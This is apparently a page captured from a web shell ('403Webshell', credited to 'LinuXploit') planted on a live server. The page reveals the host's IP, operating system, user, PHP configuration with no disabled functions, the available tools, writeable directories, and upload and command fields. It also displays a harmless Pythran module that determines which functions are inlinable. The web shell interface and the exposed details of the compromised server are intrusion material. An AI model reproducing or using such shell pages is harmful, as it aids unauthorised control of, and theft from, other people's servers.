403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pythran/analyses/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pythran/analyses//inlinable.py
""" Inlinable list function that may be inlined. """

from pythran.passmanager import ModuleAnalysis
from pythran.analyses import Identifiers
from pythran.analyses.pure_expressions import PureExpressions
import pythran.metadata as metadata

import gast as ast
import copy


class Inlinable(ModuleAnalysis):

    """ Determine set of inlinable function.

    A function can be inlined if it has only one statement and doesn't
    recurse on itself.
    """

    def __init__(self):
        self.result = dict()
        super(Inlinable, self).__init__(PureExpressions)

    def visit_FunctionDef(self, node):
        """ Determine this function definition can be inlined. """
        if len(node.body) != 1:
            return

        sbody = node.body[0]
        if not isinstance(sbody, (ast.Call, ast.Return)):
            return

        # only consider static return if they are pure
        if metadata.get(sbody, metadata.StaticReturn):
            if sbody not in self.pure_expressions:
                return

        ids = self.gather(Identifiers, sbody)
        # FIXME : It mark "not inlinable" def foo(foo): return foo
        if node.name not in ids:
            self.result[node.name] = copy.deepcopy(node)

Youez - 2016 - github.com/yon3zu
LinuXploit